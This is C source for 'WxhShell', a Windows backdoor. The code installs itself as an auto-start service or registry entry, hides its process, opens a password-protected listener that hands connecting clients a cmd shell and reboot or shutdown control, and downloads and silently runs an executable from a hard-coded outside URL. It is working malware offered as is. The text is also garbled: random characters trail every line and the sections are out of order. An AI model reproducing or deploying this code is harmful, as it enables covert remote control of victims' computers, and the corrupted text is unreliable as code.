    if(Boot(SHUTDOWN)) \N[2-;[3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >J) 9&?  
    else { Uu[dx}y  
    closesocket(wsh); Dp-j(F  
    ExitThread(0); q#PMQR"C  
    } u9u'!hAGH  
    break; V>(>wSR  
    } WX4 f3Um  
  // 获取shell vI \8@97  
  case 's': { Av>xgfX  
    CmdShell(wsh); I_5[-9  
    closesocket(wsh); ~B\O{5W  
    ExitThread(0); %;,4qB  
    break; 7* R %zJ  
  } fLg :+Ue<B  
  // 退出 i6P'_  
  case 'x': { p735i`8  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); t03T1.:(Mg  
    CloseIt(wsh); 66{Dyn7J~  
    break; K1CgM1v  
    } w0PAtu  
  // 离开 R5N~%Dg)3  
  case 'q': { ^Eif~v  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); hdDL92JVg  
    closesocket(wsh); )(+q~KA}  
    WSACleanup(); _sAcvKH  
    exit(1); p]rV\,Yss  
    break; _[h!r;DsG  
        } t~%(Zu>S  
  } sL)7MtNwy  
  } }CM#jN?(  
BVG.ZZR})  
  // 提示信息 2(k m]H^  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I#/"6%e  
} q{l %k  
  } c)Ne/E{!0  
s\e b  
  return; %?Q<  
} HdRwDW@7=  
#xh M&X  
// shell模块句柄 /^$n&gI  
int CmdShell(SOCKET sock) Uc9hv?  
{ %gu|  
STARTUPINFO si; C:.>*;?7  
ZeroMemory(&si,sizeof(si)); 4mvnFY}   
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 'HJ<"<  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 0IyT(1hS  
PROCESS_INFORMATION ProcessInfo; 3QCCX$,  
char cmdline[]="cmd"; qOflvf  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); D< 0))r  
  return 0; VV"w{#XKw  
} 1L%$\0B4hm  
:cKdl[E4z  
// 自身启动模式 { g4`>^;  
int StartFromService(void) 9B/iQCFtj$  
{ -s^)HR l  
typedef struct d%:J-UtG"  
{ vi]cl=S  
  DWORD ExitStatus; 63QF1*gPH  
  DWORD PebBaseAddress; Q@[(0R1  
  DWORD AffinityMask; U~w8yMxX  
  DWORD BasePriority; KG GJ\r6  
  ULONG UniqueProcessId; $!^C|,CS  
  ULONG InheritedFromUniqueProcessId; +5Ju `Z  
}   PROCESS_BASIC_INFORMATION; S@Aw1i p  
Z|xgZG{  
PROCNTQSIP NtQueryInformationProcess; kAs=5_?I  
"gt1pf~y  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _6 @GT  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 0nZQ" {x  
[U:P&)  
  HANDLE             hProcess; ?3gf)g=  
  PROCESS_BASIC_INFORMATION pbi; DDj:(I?,w  
AWg'J  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); "A0y&^4B@  
  if(NULL == hInst ) return 0; Bm;: cmB0e  
+zK?1llt  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); EY0,Q {  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 84coi  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); e?pQuF~  
t/@t_6m}*  
  if (!NtQueryInformationProcess) return 0; ?kS#g  
`A<2wd;  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); K{:[0oIHc  
  if(!hProcess) return 0; x,HD,VQR/  
55/)2B2J  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; KE-0/m4yJ  
)hC3'B/[Y  
  CloseHandle(hProcess); e/x6{~ju^N  
T.W^L'L `  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); v6ei47-  
if(hProcess==NULL) return 0; n<1*cL:8B  
:3{n(~  
HMODULE hMod; F`1J&S;C  
char procName[255]; lYmxd8  
unsigned long cbNeeded; $xis4/2  
z pDc~ebh  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _ jH./ @G  
iUs_)1  
  CloseHandle(hProcess); 7>h(M+ /  
Ii<k<Bt,  
if(strstr(procName,"services")) return 1; // 以服务启动 ~V0 GRPnI  
\jb62Jp  
  return 0; // 注册表启动 aq\Fh7  
} ibLx'<  
|.;]e[&  
// 主模块 H;0K4|I  
int StartWxhshell(LPSTR lpCmdLine) 'uF-}_ |  
{ n@6vCdk.  
  SOCKET wsl; p)VMYu  
BOOL val=TRUE; E{}J-_oS45  
  int port=0; ^Jw=5 ImG  
  struct sockaddr_in door; t{,e{oZx  
!?lvmq  
  if(wscfg.ws_autoins) Install(); J:OP*/@='  
0sH~H[ap  
port=atoi(lpCmdLine); {$ > .I  
B>c2 *+Bk  
if(port<=0) port=wscfg.ws_port; y}?PyPz  
[("2=Uz;  
  WSADATA data; .m.Ga|;  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; wc-v]$DW  
Ai)>ot  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   H?,Dv>.#*  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 14A(ZWwq9  
  door.sin_family = AF_INET; ?f6SKC  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); g~U<0+&yw%  
  door.sin_port = htons(port); KpDb%j  
*3s-=.U~  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { VVcli*  
closesocket(wsl); JJ'f\f9  
return 1; 8 |Ob7+  
} <[w5M?n8  
hj{)6dBX%  
  if(listen(wsl,2) == INVALID_SOCKET) { bYqv)_8  
closesocket(wsl); ?zfm"o  
return 1; KK{_s=t%<  
} lM#,i\8Q  
  Wxhshell(wsl); o ZQ@Yu3  
  WSACleanup(); 7]ySj<1  
aX*9T8H/  
return 0; @pH6FXVGzt  
]z#)XW3#i  
} =)Fb&h]G^  
)l/ .<`|  
// 以NT服务方式启动 5>UQ3hWo  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) %Y"pVBc  
{ ?uU_N$x  
DWORD   status = 0; Jfo'iNOu  
  DWORD   specificError = 0xfffffff; %dzO*/8cWo  
]{|lGtK %  
  serviceStatus.dwServiceType     = SERVICE_WIN32; D!ASO]  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; #,97 ]  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |'I>Ojm  
  serviceStatus.dwWin32ExitCode     = 0; KW3<5+w]c  
  serviceStatus.dwServiceSpecificExitCode = 0; <L<^uFB  
  serviceStatus.dwCheckPoint       = 0; u /DE  
  serviceStatus.dwWaitHint       = 0; q*tGlM@R?  
Ep:hObWG)  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Bs|Xq'1M!;  
  if (hServiceStatusHandle==0) return; %yd(=%)fMB  
y4$$*oai&  
status = GetLastError(); Xfbr;Jt"<  
  if (status!=NO_ERROR) $F[+H Wf  
{ 4O.R=c2}7>  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; PgA1:i&'  
    serviceStatus.dwCheckPoint       = 0; 8aKS=(Z!j  
    serviceStatus.dwWaitHint       = 0; G B"Orm.  
    serviceStatus.dwWin32ExitCode     = status; !"&-k:|g  
    serviceStatus.dwServiceSpecificExitCode = specificError; bC98<if  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); =qpGAv_#  
    return; |=KzQY|u  
  } f=VlO d  
6 EfBz  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; :RxMZwa=  
  serviceStatus.dwCheckPoint       = 0; s:_a.4&Y  
  serviceStatus.dwWaitHint       = 0; g$zGiqzMK  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); H=w):kL|  
} vVIN D  
J*Ie# :J]  
// 处理NT服务事件,比如:启动、停止 Ryh 0r  
VOID WINAPI NTServiceHandler(DWORD fdwControl) (:O6sTx-hE  
{ <&gs)BY  
switch(fdwControl) &328pOT4  
{ "6U@e0ht  
case SERVICE_CONTROL_STOP: <QC7HR  
  serviceStatus.dwWin32ExitCode = 0; uPapINj  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; &:u3-:$:9  
  serviceStatus.dwCheckPoint   = 0; #I*{_|}=  
  serviceStatus.dwWaitHint     = 0; 9Kg yt  
  { sC.r$K+k5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `9gV8u  
  } >B=s+ }/ME  
  return; pLCS\AUTsv  
case SERVICE_CONTROL_PAUSE: uB3VCO.;_  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ZJc{P5a1J  
  break; r:$*pC&{  
case SERVICE_CONTROL_CONTINUE: H1L)9oa  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; xx|D#Z}G  
  break; |yz o|%]3  
case SERVICE_CONTROL_INTERROGATE: -iY-rzW  
  break; 60 cQ3.e  
}; f F)M'C  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); S=.%aB  
} V5i}^%QSs  
`(`-S md  
// 标准应用程序主函数 </@5>hx/  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~d1=_p:~T  
{ @YQ*a4`  
6xwjKh:9  
// 获取操作系统版本 mpCu,l+lo  
OsIsNt=GetOsVer(); ]7>#YKH.  
GetModuleFileName(NULL,ExeFile,MAX_PATH); []aw;\7}Y  
BfCnyL%  
  // 从命令行安装 _`O",Ff  
  if(strpbrk(lpCmdLine,"iI")) Install(); 4b((,u$  
@"A 5yD5  
  // 下载执行文件 WT")tjVKA  
if(wscfg.ws_downexe) { _| cSXZ|  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) TQ:5@1aT  
  WinExec(wscfg.ws_filenam,SW_HIDE); %3"3V1  
} m. p'LF  
u\= 05N6G  
if(!OsIsNt) { Mis B&Ok`k  
// 如果时win9x,隐藏进程并且设置为注册表启动 KdYR?rY  
HideProc(); 5Phsh  
StartWxhshell(lpCmdLine); ,c$tKj5ulQ  
} 8~t8^eBg  
else * ?~"Jw  
  if(StartFromService()) @mv G=:k  
  // 以服务方式启动 O cPgw/ I  
  StartServiceCtrlDispatcher(DispatchTable); Eu~1t& 4  
else ,H,[ )8  
  // 普通方式启动 _6,\;"it?8  
  StartWxhshell(lpCmdLine); tA< UkPT  
\<`oW>  
return 0; Fp@>(M#3  
} `o }+2Cb  
PMbZv%.,-  
oOvQA W8`  
un~`|   
=========================================== l5VRdZ4Uf  
& C)1(  
,lvG5B\0  
VY8cy2  
Cm%I/4  
n&P~<2^M#  
" %~M*<pN  
;ZAwf0~  
#include <stdio.h> Il*!iX|23<  
#include <string.h> /J_ ],KdU  
#include <windows.h> bfoTGi  
#include <winsock2.h> !DSm[Z1  
#include <winsvc.h> \ HUDZ2 s  
#include <urlmon.h> : Bo  
D^m2iW;  
#pragma comment (lib, "Ws2_32.lib") RnRUJNlaG  
#pragma comment (lib, "urlmon.lib") c"lwFr9x7  
W3>9GY90R  
#define MAX_USER   100 // 最大客户端连接数 xl,% Z~[  
#define BUF_SOCK   200 // sock buffer 1?|"33\03R  
#define KEY_BUFF   255 // 输入 buffer >FOCdlJ#  
UxHI6,b  
#define REBOOT     0   // 重启 .0xk},  
#define SHUTDOWN   1   // 关机 U*Y]cohh  
p~8O6h@J  
#define DEF_PORT   5000 // 监听端口 d;gs1]E50  
PcT]  
#define REG_LEN     16   // 注册表键长度 Wj|W B*B  
#define SVC_LEN     80   // NT服务名长度 2[pOGc$  
:*]#n  
// 从dll定义API j?|Vx'  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); [s]$&  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); :fL7"\ pf~  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); yBs-bp"-  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); WLj]EsA.  
[@VzpVhXz  
// wxhshell配置信息 G[ #R1'  
struct WSCFG { SS`\_@ci  
  int ws_port;         // 监听端口 )mOM!I7D@  
  char ws_passstr[REG_LEN]; // 口令 weu+$Kr  
  int ws_autoins;       // 安装标记, 1=yes 0=no +8?18@obp  
  char ws_regname[REG_LEN]; // 注册表键名 ,qp8Rg|3j  
  char ws_svcname[REG_LEN]; // 服务名 tR<#CCtRp'  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 0vSPeZ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 }1k?th  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 *Us}E7/"'  
int ws_downexe;       // 下载执行标记, 1=yes 0=no L(Twclrb  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" %au>D  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 O-UA2?N@j  
y_n4Y[4g  
}; svEe@Kt`  
U@yhFj_y  
// default Wxhshell configuration A+dx7anUz  
struct WSCFG wscfg={DEF_PORT, @#W4?L*D  
    "xuhuanlingzhe", _)= e`9%  
    1, mCg^Y)Q  
    "Wxhshell", ,@;|+C  
    "Wxhshell", )Z/w|5<  
            "WxhShell Service", P nE7}  
    "Wrsky Windows CmdShell Service", 9{A4>  
    "Please Input Your Password: ", *?1\S^7R  
  1, 3zKeN:w  
  "http://www.wrsky.com/wxhshell.exe", iZnLgkk@  
  "Wxhshell.exe"  C&qo$C  
    }; 1U/9=b  
qP;1LAX  
// 消息定义模块 rWNe&gFM  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [c1Gq)ht  
char *msg_ws_prompt="\n\r? for help\n\r#>"; pl@K"PRE  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; G?,3Zn0  
char *msg_ws_ext="\n\rExit."; %Ul,9qG+  
char *msg_ws_end="\n\rQuit."; .J @mpJdY  
char *msg_ws_boot="\n\rReboot..."; ~PyS;L}  
char *msg_ws_poff="\n\rShutdown..."; <aaT,J8%[  
char *msg_ws_down="\n\rSave to "; 9fbbJ"I+  
P(@Q[XQ2  
char *msg_ws_err="\n\rErr!"; nPI$<yW7F  
char *msg_ws_ok="\n\rOK!"; S`  U,  
<Bn0wr8)\  
char ExeFile[MAX_PATH]; /t]1_  
int nUser = 0; (:E@kpK  
HANDLE handles[MAX_USER]; 7n84`|=  
int OsIsNt; I`IW^eZM  
BH}Cx[n?~  
SERVICE_STATUS       serviceStatus; "eTALRL'o  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; -lfDoNRhQ  
%4M,f.[e  
// 函数声明 5 Slz ^@n  
int Install(void); O[U`(A:  
int Uninstall(void); @.k^ 8hc  
int DownloadFile(char *sURL, SOCKET wsh); M'R ] ''  
int Boot(int flag); ~QUNR?h  
void HideProc(void); l{^s4  
int GetOsVer(void); L{IMZ+IB2|  
int Wxhshell(SOCKET wsl); 6l4=  
void TalkWithClient(void *cs); YGQ/zB^Pj  
int CmdShell(SOCKET sock); PY '^:0  
int StartFromService(void); g^|R;s{  
int StartWxhshell(LPSTR lpCmdLine); v8C($<3%  
/=za m3kd  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); G~&8/ s  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 58HAl_8W  
=IX-n$d`>  
// 数据结构和表定义 $i<+O,@-  
SERVICE_TABLE_ENTRY DispatchTable[] = Q{=r9&&  
{ 38X{>*  
{wscfg.ws_svcname, NTServiceMain}, =w!9:I&a0  
{NULL, NULL} SnUR?k1  
}; eF7I 5k4  
7y30TU  
// 自我安装 5/ U{b5  
int Install(void) [8Z#HjhQ  
{ ;m.6 ~A  
  char svExeFile[MAX_PATH]; P$y'``  
  HKEY key; A+H8\ew2,  
  strcpy(svExeFile,ExeFile); 9vDOSwU*  
 ydY( *]  
// 如果是win9x系统,修改注册表设为自启动 HWFTI /]  
if(!OsIsNt) { 6/g 82kqpk  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3jW&S  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /TB{|_HbW  
  RegCloseKey(key); ^A\(M%*F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { M(\{U"%@?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |XQ_4{  
  RegCloseKey(key); s}UJv\*  
  return 0; LTA0WgzR)  
    } ,vMAX?c  
  } gWjr|m<  
} Br<lP#u=G  
else { :}#)ipr  
4DL2 A;T  
// 如果是NT以上系统,安装为系统服务 /|&4&$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); >tMI%r  
if (schSCManager!=0) <9xr? i=  
{ BL>~~  
  SC_HANDLE schService = CreateService d+]=l+&  
  ( QH7 GEj]  
  schSCManager, I} Q+{/?/  
  wscfg.ws_svcname, \AoqOC2u  
  wscfg.ws_svcdisp, )J+OyR=  
  SERVICE_ALL_ACCESS, }#&[[}@th  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , oy[ px9Wx  
  SERVICE_AUTO_START, 16@<G  
  SERVICE_ERROR_NORMAL, &ZFHWI(P  
  svExeFile, 6pC1C.  
  NULL, Vz-q7*o $S  
  NULL, csJ)Pt?d  
  NULL, ~W4SFp  
  NULL, e9Gu`$K  
  NULL ?+Vi !eS  
  ); H13\8Te{  
  if (schService!=0) J2oh#TGp  
  { < 0~1   
  CloseServiceHandle(schService); [x=(:soEqC  
  CloseServiceHandle(schSCManager); LN$T.r+  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); xf7YIhL^*  
  strcat(svExeFile,wscfg.ws_svcname); aYc<C$:NC"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Vep 41\g^  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); a\,V>}e  
  RegCloseKey(key); NZ8X@|N  
  return 0; L"S2+F)n  
    } B2LXF3#/  
  } y|0/;SjV  
  CloseServiceHandle(schSCManager); p0CPeH  
} a[rb-Z  
} o F_r C[  
D ZZRu8~  
return 1; #^aa&*<D_  
} sc# EL~  
!z2xm3s{]p  
// 自我卸载 <|G!Qn?2-  
int Uninstall(void) {w"Cr0F,  
{ }$uwAevP{y  
  HKEY key; `0_ Y| 4KB  
>mMfZvxl%  
if(!OsIsNt) { Vom,^`}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { h|Qb:zEP,  
  RegDeleteValue(key,wscfg.ws_regname); O<@L~S]  
  RegCloseKey(key); ,(sE|B#s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `]4(Z"R  
  RegDeleteValue(key,wscfg.ws_regname); Ijz*wq\s;  
  RegCloseKey(key); *M#L)c;6  
  return 0; 6;!)^b  
  } #s>'IPc0  
} jRDvVV/-wr  
} o >yXEg  
else { Hdd3n 6*  
glROT@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ij3W8i9'  
if (schSCManager!=0) ^liW*F"UY  
{ L+@X]O W8  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); P&: [pPG  
  if (schService!=0) {wz_ngQ  
  { EDnZ/)6Gg  
  if(DeleteService(schService)!=0) { fF#Fc&B  
  CloseServiceHandle(schService); ;GOu'34j  
  CloseServiceHandle(schSCManager); [C;Neslo  
  return 0; XUUP#<,s  
  } BjTgZ98J  
  CloseServiceHandle(schService); 8~RJnwF^  
  } H*f2fyC1\  
  CloseServiceHandle(schSCManager); kou7_4oS  
} 8s[1-l  
} -lv(@7o~  
$XkO\6kh  
return 1; gyh8  
} V=1zk-XC  
|:2B)X  
// 从指定url下载文件 fWri7|"0h  
int DownloadFile(char *sURL, SOCKET wsh) tgl 4pAc  
{ k w   
  HRESULT hr; O kT@ _U  
char seps[]= "/"; ]Z85%q^`  
char *token; B~& }Mv  
char *file; *|C vK&7  
char myURL[MAX_PATH]; -rgdKA@)(  
char myFILE[MAX_PATH]; yUxz,36wZ  
Q^@7Yg@l  
strcpy(myURL,sURL); N@!PhP  
  token=strtok(myURL,seps); Ix@B*Xz:`  
  while(token!=NULL) Q uw|KL  
  { Vwjic2lGI  
    file=token; KPjAk  
  token=strtok(NULL,seps); /PR 4ILed  
  } oj'YDQ^uj  
O?A%  
GetCurrentDirectory(MAX_PATH,myFILE); ^si[L52BZ  
strcat(myFILE, "\\"); !V/7q'&t=  
strcat(myFILE, file); 2:nI4S  
  send(wsh,myFILE,strlen(myFILE),0); s6_i>  
send(wsh,"...",3,0); Z6Kp-z(l3  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); >*!^pbZfX  
  if(hr==S_OK) mU]^PC2[  
return 0; }ALli0n`V)  
else ^\J-LU|"B  
return 1; GY0OVAW6'c  
R2 J A(Hn  
} = 8y,7u)  
jWh)bsqI!  
// 系统电源模块 !)W#|sys&  
int Boot(int flag) ]Ge>S?u  
{ ryA+Lli.  
  HANDLE hToken; =d:3]M^  
  TOKEN_PRIVILEGES tkp; >NV1#\5_R@  
oEFo7X`t  
  if(OsIsNt) { )<_qTd0`  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); oJ" D5d,  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); |m@>AbR5dk  
    tkp.PrivilegeCount = 1; +StsSZ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; w&J_c8S  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 8ZCA vEy  
if(flag==REBOOT) { ]gaeN2  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) T*8K.yw2  
  return 0; 8HIX$OX>2  
} $}z/BV1I  
else { Wyeb1  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) qZ@d:u  
  return 0; mieyL9*n7  
} "^wIoJ6H'  
  } I,)\506  
  else { MLmaA3  
if(flag==REBOOT) { 5a)$:oO!  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) $MfRw  
  return 0;  ?<8c  
} \n^[!e"`  
else { pFwJ:  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) u!F\`Gfm_  
  return 0; r_ B.b K  
} k"/Rjd(;  
} 9e vQQN6D|  
)N1iGJO)  
return 1; v '^}zO  
} 5IFzbL#q#f  
+/]*ChrS  
// win9x进程隐藏模块 }#g+~9UK  
void HideProc(void) ozl!vf# kv  
{ ;vX1U8  
 M}@>h  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); |k%1mE(+=s  
  if ( hKernel != NULL ) 5 ddfdIp  
  { Ld/6{w4ir  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); imAOYEH7}  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); IA]wO%c  
    FreeLibrary(hKernel); 3Lq9pdM>2@  
  } ux| QGT2LY  
G#6Z@|kVw  
return; KT>Y^  
} ?d{O' &|:  
%^nNt:N0  
// 获取操作系统版本 hdSP#Y'-  
int GetOsVer(void) qfxEo76'  
{ L%QRWhB  
  OSVERSIONINFO winfo; &?Q^i">cZ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 6 v~nEw  
  GetVersionEx(&winfo); zDbO~.d  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) H=g%>W%3  
  return 1; `<| <1,  
  else |>m'szca4  
  return 0; 6KXW]a `  
} c14d0x{  
u GqeT#dP  
// 客户端句柄模块 /{R.   
int Wxhshell(SOCKET wsl) i1m>|[@k  
{ F[!%,-*  
  SOCKET wsh; tm2lxt  
  struct sockaddr_in client; V`W']  
  DWORD myID; o)7Ot\:E  
`YE= B{q  
  while(nUser<MAX_USER) S7#dyAX8  
{ j|N<6GSke  
  int nSize=sizeof(client); a l6y=;\jZ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); .cw)Y#;IG  
  if(wsh==INVALID_SOCKET) return 1; e#mqerpJ  
}Q]-Y :  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); la!U  
if(handles[nUser]==0) kS9;Tjcx  
  closesocket(wsh); !IO\g"y~|%  
else {x_cgsn  
  nUser++; M6^ \LtFt  
  } ?_A[E]/H  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); -zqpjxU:  
Tcc83_Iq  
  return 0; -;&I S  
} O"\_%=X9  
EJb+yy6  
// 关闭 socket H-v[ShE  
void CloseIt(SOCKET wsh) o9]32l  
{ bR~(Ry`  
closesocket(wsh); WG,1%=M@  
nUser--; G kG#+C0L  
ExitThread(0); 0j6b5<Gpc*  
} Jvsy 6R  
<g;,or#$  
// 客户端请求句柄 {f)aFGp  
void TalkWithClient(void *cs) SG|AJ9  
{ vcp{Gf|^  
&ZkJ,-  
  SOCKET wsh=(SOCKET)cs; <HN+pi  
  char pwd[SVC_LEN]; K\XQ E50  
  char cmd[KEY_BUFF]; UI U:^g0  
char chr[1]; *ls6k`ymL  
int i,j; YI"!&a'yj  
a3\~AO H%  
  while (nUser < MAX_USER) { jQ%1lQ#R)  
Q<;EQb#  
if(wscfg.ws_passstr) { .PVYYhrt  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); kc P ZIP:  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); b|DU  
  //ZeroMemory(pwd,KEY_BUFF); "#7Q}d!x  
      i=0; R+(f~ j'  
  while(i<SVC_LEN) { :f39)g5>  
@-\=`#C**  
  // 设置超时 DT>`.y%2W  
  fd_set FdRead; DzE^FY  
  struct timeval TimeOut; [7gz?9VyLF  
  FD_ZERO(&FdRead); 0|tyKP|J  
  FD_SET(wsh,&FdRead); Fs $FR-x  
  TimeOut.tv_sec=8; h'=)dFw7  
  TimeOut.tv_usec=0; uj.$GAtO)  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Ib{l$#  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ,e;,+w=~E  
CkNR{?S  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fg#e*7Odn  
  pwd=chr[0];  ArAe=m!u  
  if(chr[0]==0xd || chr[0]==0xa) { 9=]HOUn  
  pwd=0; \EoE/2"<  
  break; hp2E! Cma  
  } OF']-  
  i++; ]J!#"m-]  
    } .$x}~Sw  
U+B"$yBR  
  // 如果是非法用户,关闭 socket oYf+I  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); kJf0..J[#<  
} h;+O96V4.  
\M@IKE  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); uchQv]VB  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); L3wj vq^  
:M{ )&{D  
while(1) { r`6f  
kjV>\e  
  ZeroMemory(cmd,KEY_BUFF); r^C(|Vx  
uIO,9> ee  
      // 自动支持客户端 telnet标准   lrKT?siB  
  j=0;  gvo98Id  
  while(j<KEY_BUFF) { z,m3U(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); f~P YK  
  cmd[j]=chr[0]; KP0(w(q  
  if(chr[0]==0xa || chr[0]==0xd) { R,PN?aj  
  cmd[j]=0; uuFQTx))  
  break; L,#YP#O,j  
  } !BkE-9v?w  
  j++; ?87\_wL/j  
    } G5t7KI  
#BBDI  
  // 下载文件 > _sSni  
  if(strstr(cmd,"http://")) { 3Q62H+MC  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); JC~sz^>p\  
  if(DownloadFile(cmd,wsh)) @Nh}^D >j  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); CckfoJ 9  
  else )#\3c,<Y  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2RNee@!JJP  
